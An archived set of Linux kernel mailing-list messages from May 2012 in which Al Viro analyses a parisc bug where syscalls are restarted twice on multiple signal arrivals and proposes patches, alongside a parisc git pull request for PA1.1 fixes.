> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0regs->gr[28] =3D regs->orig_r28;
> Note that ERESTARTSYS is 512, so the second assignment does nothing -=
 we
> still have regs->gr[28] equal to -ERESTARTSYS. =A0We are done with
> syscall_restart().
>
> Now we call handle_signal(), which calls setup_rt_frame(). =A0sigfram=
e is
> allocated on userland stack and filled accordingly to the contents of=
 *regs.
> No errors occured, so we set regs->gr[31] to entry point of signal ha=
ndler,
> regs->gr[2] to address of sigreturn trampoline we'd created in the si=
gframe,
> regs->gr[26..24] to arguments of handler, and regs->gr[30] to new val=
ue of
> userland stack pointer.
>
> Back in handle_signal(), we adjust the set of blocked signals and ret=
urn 1.
> do_signal() sees that RESTORE_SIGMASK is not set and it's done - we r=
eturn
> to do_notify_resume() and from there back into entry.S.
>
> We reload registers from pt_regs and go to syscall_check_sig again. =A0=
There
> we reread the thread flags and see that SIGPENDING is still set - we =
have
> another signal to deal with. =A0We hit do_notify_resume() and do_sign=
al()
> again. =A0And again, in_syscall is 1.
>
> do_signal() gets the remaining pending signal from get_signal_to_deli=
ver().
> Again, we call syscall_restart(). =A0And neither regs->gr[28] nor reg=
s->orig_r28
> has been changed, so we hit the same case. =A0Assignment to regs->gr[=
28] is
> a no-op again. =A0But look what happened to regs->gr[31] - it got dec=
remented
> by 8. =A0So it points 8 bytes before the entry point of the first han=
dler now.
>
> We proceed to set the second sigframe up. =A0The registers are saved =
in
> sigcontext, adjusted so that they correspond to the call of the secon=
d
> handler with future return to the second trampoline and we return all=
 the
> way out to entry.S. =A0There we go to syscall_check_sig again, but th=
is
> time we have no pending signals left, so we reach syscall_restore and
> proceed to userland.
>
> Now we are in the second handler. =A0It's executed to the end and whe=
n it
> returns, we go to the address we had in r2. =A0I.e. the second trampo=
line.
> There we get r25 set to 1, r20 set to __NR_rt_sigreturn and we go to
> execute the syscall. =A0Which restores the registers from sigcontext =
and,
> since its in_syscall argument is 1, sets ->gr[31] to sc->sc_iaoq. =A0=
Which
> had been set by setup_rt_sigcontext() from regs->gr[31] at the moment=
 it
> had been called, i.e. the entry point of the first handler decremente=
d by 8.
> Then we proceed to return to userland. =A0And arrive there are the ri=
ght
> arguments for the first handler, but instruction pointer is 8 bytes t=
oo
> early. =A0Bad things happen, obviously.
>
> The point where the things go wrong is the second call of syscall_res=
tart().
> It should've done nothing. =A0We need to do syscall restarts only whe=
n building
> the first sigframe. =A0And usually it does work out that way, simply =
because
> the value you happened to have in r28 is probably not one of the 4 th=
at
> make syscall_restart() do things. =A0So after the first time around i=
t does
> nothing. =A0Very similar logics on x86 does, indeed, work in all case=
s.
> There the register used for return values happens to be the same as w=
e use
> to pass syscall number, so you can't arrange a call of syscall_restar=
t()
> analog that would trigger restart *and* leave the return value regist=
er
> unchanged - you'd need %eax to be -ERESTART<something> when you enter=
 the
> syscall and that would immediately result in regs->ax set to -ENOSYS.=
 =A0I.e.
> no restarts would be done. =A0However, on parisc that doesn't work - =
you can
> start with r28 being -ERESTARTSYS and get -ERESTARTSYS from syscall.
>
> And no, I don't have any good suggestions on how to fix it right now.=
 =A0Depends
> on how does gdb on parisc play with pt_regs, among other things...
>
> Sorry if the original posting sounded like a rant - I'd spent the las=
t month
> crawling through the assembler glue around signal hanlding all over a=
rch/*
> and that probably affected the tone. =A0Definitely had been affecting=
 the amount
> of spoken obscenities lately...

Thanks Al. This is description is a work of art, I wish all
reports looked like this. I'll go over this code tomorrow and
get back to you with my thoughts. I really appreciate the
thorough review.

Cheers,
Carlos.

From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Sat, 19 May 2012 06:26:23 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <20120519052622.GA20945@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
 <20120518195610.GV22082@ZenIV.linux.org.uk>
 <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
 <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
 <20120518222422.GX22082@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337405207 28611 80.91.229.3 (19 May 2012 05:26:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 May 2012 05:26:47 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sat May 19 07:26:46 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SVcBf-0008Vl-53
	for glka-linux-arch@plane.gmane.org; Sat, 19 May 2012 07:26:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752115Ab2ESF0j (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sat, 19 May 2012 01:26:39 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:52216 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751919Ab2ESF0j (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sat, 19 May 2012 01:26:39 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SVcBM-0006ax-Cx; Sat, 19 May 2012 05:26:25 +0000
Content-Disposition: inline
In-Reply-To: <20120518222422.GX22082@ZenIV.linux.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14194 gmane.linux.ports.parisc:4441
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14194>

On Fri, May 18, 2012 at 11:24:22PM +0100, Al Viro wrote:

> And no, I don't have any good suggestions on how to fix it right now.  Depends
> on how does gdb on parisc play with pt_regs, among other things...

I think we might be able to cheat and pull off the following:
	* stop restoring r28 on restarts.  Behaviour of syscall should not
depend on the value of r28 at the moment we enter it and it does clobber
r28 in all cases - that's where the return value goes to, after all.  And
the instruction we are restarting would better be a syscall.
	* with that done, we can reuse ->orig_r28 for any purpose.  In
particular, we can use it as "no restarts allowed" flag.  Just have it set
to zero instead of r28 in linux_gateway_entry and hpux_gateway_page, then
in syscall_restart() and insert_restart_trampoline() check that
it's still 0, go away if it isn't and set it to 1 otherwise.  Set
it to 1 in sigreturn, to make it indifferent to what we might or might
not find in r28 stored in sigcontext (strictly speaking that's not needed,
but it's less brittle than relying on rather subtle properties of what
could end up in sigcontext and trampoline; the whole thing is a nice
example of how easily subtle things break and how long does that stay
unnoticed)

	Another potential solution would be a trick a-la MIPS, but you are
already using that slot in regs->gr[] for "is it a syscall" flag (psw for
interrupt, 0 for syscall) and touching that is very likely to end up with
very unhappy gdb...

So how about the following:

diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
index 38a1c1b..0114688 100644
--- a/arch/parisc/hpux/gate.S
+++ b/arch/parisc/hpux/gate.S
@@ -71,7 +71,7 @@ ENTRY(hpux_gateway_page)
 	STREG	%r26, TASK_PT_GR26(%r1)	 	/* 1st argument */
 	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
 	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
-	STREG   %r28, TASK_PT_ORIG_R28(%r1)     /* return value 0 (saved for signals) */
+	STREG   %r0, TASK_PT_ORIG_R28(%r1)     /* don't prohibit restarts */
 	STREG   %r29, TASK_PT_GR29(%r1)         /* 8th argument */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..b4dd2c1 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -88,6 +88,7 @@ restore_sigcontext(struct sigcontext __user *sc, struct pt_regs *regs)
 	err |= __copy_from_user(regs->iaoq, sc->sc_iaoq, sizeof(regs->iaoq));
 	err |= __copy_from_user(regs->iasq, sc->sc_iasq, sizeof(regs->iasq));
 	err |= __get_user(regs->sar, &sc->sc_sar);
+	regs->orig_r28 = 1; /* no restarts for sigreturn */
 	DBG(2,"restore_sigcontext: iaoq is 0x%#lx / 0x%#lx\n", 
 			regs->iaoq[0],regs->iaoq[1]);
 	DBG(2,"restore_sigcontext: r28 is %ld\n", regs->gr[28]);
@@ -471,6 +472,9 @@ handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
 static inline void
 syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 {
+	if (regs->orig_r28)
+		return;
+	regs->orig_r28 = 1; /* no more restarts */
 	/* Check the return code */
 	switch (regs->gr[28]) {
 	case -ERESTART_RESTARTBLOCK:
@@ -493,8 +497,6 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 		 * we have to do is fiddle the return pointer.
 		 */
 		regs->gr[31] -= 8; /* delayed branching */
-		/* Preserve original r28. */
-		regs->gr[28] = regs->orig_r28;
 		break;
 	}
 }
@@ -502,6 +504,9 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 static inline void
 insert_restart_trampoline(struct pt_regs *regs)
 {
+	if (regs->orig_r28)
+		return;
+	regs->orig_r28 = 1; /* no more restarts */
 	switch(regs->gr[28]) {
 	case -ERESTART_RESTARTBLOCK: {
 		/* Restart the system call - no handlers present */
@@ -536,9 +541,6 @@ insert_restart_trampoline(struct pt_regs *regs)
 		flush_user_icache_range(regs->gr[30], regs->gr[30] + 4);
 
 		regs->gr[31] = regs->gr[30] + 8;
-		/* Preserve original r28. */
-		regs->gr[28] = regs->orig_r28;
-
 		return;
 	}
 	case -ERESTARTNOHAND:
@@ -550,9 +552,6 @@ insert_restart_trampoline(struct pt_regs *regs)
 		 * slot of the branch external instruction.
 		 */
 		regs->gr[31] -= 8;
-		/* Preserve original r28. */
-		regs->gr[28] = regs->orig_r28;
-
 		return;
 	}
 	default:
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 82a52b2..54a9cbf 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -156,7 +156,7 @@ linux_gateway_entry:
 	STREG	%r26, TASK_PT_GR26(%r1)	 	/* 1st argument */
 	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
 	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
-	STREG   %r28, TASK_PT_ORIG_R28(%r1)     /* return value 0 (saved for signals) */
+	STREG   %r0, TASK_PT_ORIG_R28(%r1)      /* don't prohibit restarts */
 	STREG	%r29, TASK_PT_GR29(%r1)		/* return value 1 */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	

From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Sat, 19 May 2012 14:37:12 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20120519133712.GA11514@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
 <20120518195610.GV22082@ZenIV.linux.org.uk>
 <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
 <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
 <20120518222422.GX22082@ZenIV.linux.org.uk>
 <20120519052622.GA20945@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337434648 15533 80.91.229.3 (19 May 2012 13:37:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 May 2012 13:37:28 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 19 15:37:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVjqW-0000yD-UC
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 May 2012 15:37:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758559Ab2ESNhW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 May 2012 09:37:22 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:36593 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757156Ab2ESNhT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 May 2012 09:37:19 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SVjqK-000335-LM; Sat, 19 May 2012 13:37:12 +0000
Content-Disposition: inline
In-Reply-To: <20120519052622.GA20945@ZenIV.linux.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4443 gmane.linux.kernel.cross-arch:14196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4443>

On Sat, May 19, 2012 at 06:26:23AM +0100, Al Viro wrote:
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index 12c1ed3..b4dd2c1 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -88,6 +88,7 @@ restore_sigcontext(struct sigcontext __user *sc, struct pt_regs *regs)
>  	err |= __copy_from_user(regs->iaoq, sc->sc_iaoq, sizeof(regs->iaoq));
>  	err |= __copy_from_user(regs->iasq, sc->sc_iasq, sizeof(regs->iasq));
>  	err |= __get_user(regs->sar, &sc->sc_sar);
> +	regs->orig_r28 = 1; /* no restarts for sigreturn */
>  	DBG(2,"restore_sigcontext: iaoq is 0x%#lx / 0x%#lx\n", 
>  			regs->iaoq[0],regs->iaoq[1]);
>  	DBG(2,"restore_sigcontext: r28 is %ld\n", regs->gr[28]);

... only that part should be done in sys_rt_sigreturn() instead, or we'll miss
it for 32bit-on-64bit case.

diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
index 38a1c1b..0114688 100644
--- a/arch/parisc/hpux/gate.S
+++ b/arch/parisc/hpux/gate.S
@@ -71,7 +71,7 @@ ENTRY(hpux_gateway_page)
 	STREG	%r26, TASK_PT_GR26(%r1)	 	/* 1st argument */
 	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
 	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
-	STREG   %r28, TASK_PT_ORIG_R28(%r1)     /* return value 0 (saved for signals) */
+	STREG   %r0, TASK_PT_ORIG_R28(%r1)     /* don't prohibit restarts */
 	STREG   %r29, TASK_PT_GR29(%r1)         /* 8th argument */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..369b1c4 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -115,6 +115,8 @@ sys_rt_sigreturn(struct pt_regs *regs, int in_syscall)
 		(usp - sigframe_size);
 	DBG(2,"sys_rt_sigreturn: frame is %p\n", frame);
 
+	regs->orig_r28 = 1; /* no restarts for sigreturn */
+
 #ifdef CONFIG_64BIT
 	compat_frame = (struct compat_rt_sigframe __user *)frame;
 	
@@ -471,6 +473,9 @@ handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
 static inline void
 syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 {
+	if (regs->orig_r28)
+		return;
+	regs->orig_r28 = 1; /* no more restarts */
 	/* Check the return code */
 	switch (regs->gr[28]) {
 	case -ERESTART_RESTARTBLOCK:
@@ -493,8 +498,6 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 		 * we have to do is fiddle the return pointer.
 		 */
 		regs->gr[31] -= 8; /* delayed branching */
-		/* Preserve original r28. */
-		regs->gr[28] = regs->orig_r28;
 		break;
 	}
 }
@@ -502,6 +505,9 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
 static inline void
 insert_restart_trampoline(struct pt_regs *regs)
 {
+	if (regs->orig_r28)
+		return;
+	regs->orig_r28 = 1; /* no more restarts */
 	switch(regs->gr[28]) {
 	case -ERESTART_RESTARTBLOCK: {
 		/* Restart the system call - no handlers present */
@@ -536,9 +542,6 @@ insert_restart_trampoline(struct pt_regs *regs)
 		flush_user_icache_range(regs->gr[30], regs->gr[30] + 4);
 
 		regs->gr[31] = regs->gr[30] + 8;
-		/* Preserve original r28. */
-		regs->gr[28] = regs->orig_r28;
-
 		return;
 	}
 	case -ERESTARTNOHAND:
@@ -550,9 +553,6 @@ insert_restart_trampoline(struct pt_regs *regs)
 		 * slot of the branch external instruction.
 		 */
 		regs->gr[31] -= 8;
-		/* Preserve original r28. */
-		regs->gr[28] = regs->orig_r28;

From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 3.3-rc5
Date: Sat, 19 May 2012 19:51:05 +0100
Lines: 136
Approved: news@gmane.org
Message-ID: <1337453465.2930.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337453473 12932 80.91.229.3 (19 May 2012 18:51:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 May 2012 18:51:13 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 19 20:51:12 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SVokB-00077d-G4
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 May 2012 20:51:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757368Ab2ESSvK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 May 2012 14:51:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42876 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756989Ab2ESSvJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 May 2012 14:51:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EE1078EE0A5;
	Sat, 19 May 2012 11:51:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bC3QcuM_XTG6; Sat, 19 May 2012 11:51:07 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C35F18EE0A2;
	Sat, 19 May 2012 11:51:06 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4444 gmane.linux.kernel:1300239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4444>

This is a set of three bug fixes that gets parisc running again on
systems with PA1.1 processors.  Two fix regressions introduced in 2.6.39
and one fixes a prefetch bug that only affects PA7300LC processors.  We
also have another pending fix to do with the sectional arrangement of
vmlinux.lds, but there's a query on it during testing on one particular
system type, so I'll hold off sending it in for now.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

The short changelog is:


James Bottomley (2):
      [PARISC] fix panic on prefetch(NULL) on PA7300LC
      [PARISC] fix PA1.1 oops on boot

John David Anglin (1):
      [PARISC] fix crash in flush_icache_page_asm on PA1.1


And the diffstat:

 arch/parisc/include/asm/prefetch.h |    7 ++++++-
 arch/parisc/kernel/entry.S         |    4 ++++
 arch/parisc/kernel/pacache.S       |   38 +++++++++++++++++++-----------------
 3 files changed, 30 insertions(+), 19 deletions(-)

With the full diff below

James

---

diff --git a/arch/parisc/include/asm/prefetch.h b/arch/parisc/include/asm/prefetch.h
index c5edc60..1ee7c82 100644
--- a/arch/parisc/include/asm/prefetch.h
+++ b/arch/parisc/include/asm/prefetch.h
@@ -21,7 +21,12 @@
 #define ARCH_HAS_PREFETCH
 static inline void prefetch(const void *addr)
 {
-	__asm__("ldw 0(%0), %%r0" : : "r" (addr));
+	__asm__(
+#ifndef CONFIG_PA20
+		/* Need to avoid prefetch of NULL on PA7300LC */
+		"	extrw,u,= %0,31,32,%%r0\n"
+#endif
+		"	ldw 0(%0), %%r0" : : "r" (addr));
 }
 
 /* LDD is a PA2.0 addition. */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6f05944..5350342 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -581,7 +581,11 @@
 	 */
 	cmpiclr,=	0x01,\tmp,%r0
 	ldi		(_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
+#ifdef CONFIG_64BIT
 	depd,z		\prot,8,7,\prot
+#else
+	depw,z		\prot,8,7,\prot
+#endif
 	/*
 	 * OK, it is in the temp alias region, check whether "from" or "to".
 	 * Check "subtle" note in pacache.S re: r23/r26.
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..5d7218a 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -692,7 +692,7 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr0,%r28)
+	pitlb		(%sr4,%r28)
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -706,27 +706,29 @@ ENTRY(flush_icache_page_asm)
 	sub		%r25, %r1, %r25
 
 
-1:      fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
-	fic,m		%r1(%r28)
+	/* fic only has the type 26 form on PA1.1, requiring an
+	 * explicit space specification, so use %sr4 */
+1:      fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
+	fic,m		%r1(%sr4,%r28)
 	cmpb,COND(<<)		%r28, %r25,1b
-	fic,m		%r1(%r28)
+	fic,m		%r1(%sr4,%r28)
 
 	sync
 	bv		%r0(%r2)
-	pitlb		(%sr0,%r25)
+	pitlb		(%sr4,%r25)
 	.exit
 
 	.procend


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Sun, 20 May 2012 09:40:42 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20120520084042.GA25447@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
 <20120518195610.GV22082@ZenIV.linux.org.uk>
 <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
 <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
 <20120518222422.GX22082@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337503282 1553 80.91.229.3 (20 May 2012 08:41:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 08:41:22 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 10:41:20 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SW1hY-00063A-3W
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 10:41:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752010Ab2ETIk4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 04:40:56 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:57269 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751609Ab2ETIkv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 04:40:51 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SW1gw-0006tg-VX; Sun, 20 May 2012 08:40:42 +0000
Content-Disposition: inline
In-Reply-To: <20120518222422.GX22082@ZenIV.linux.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
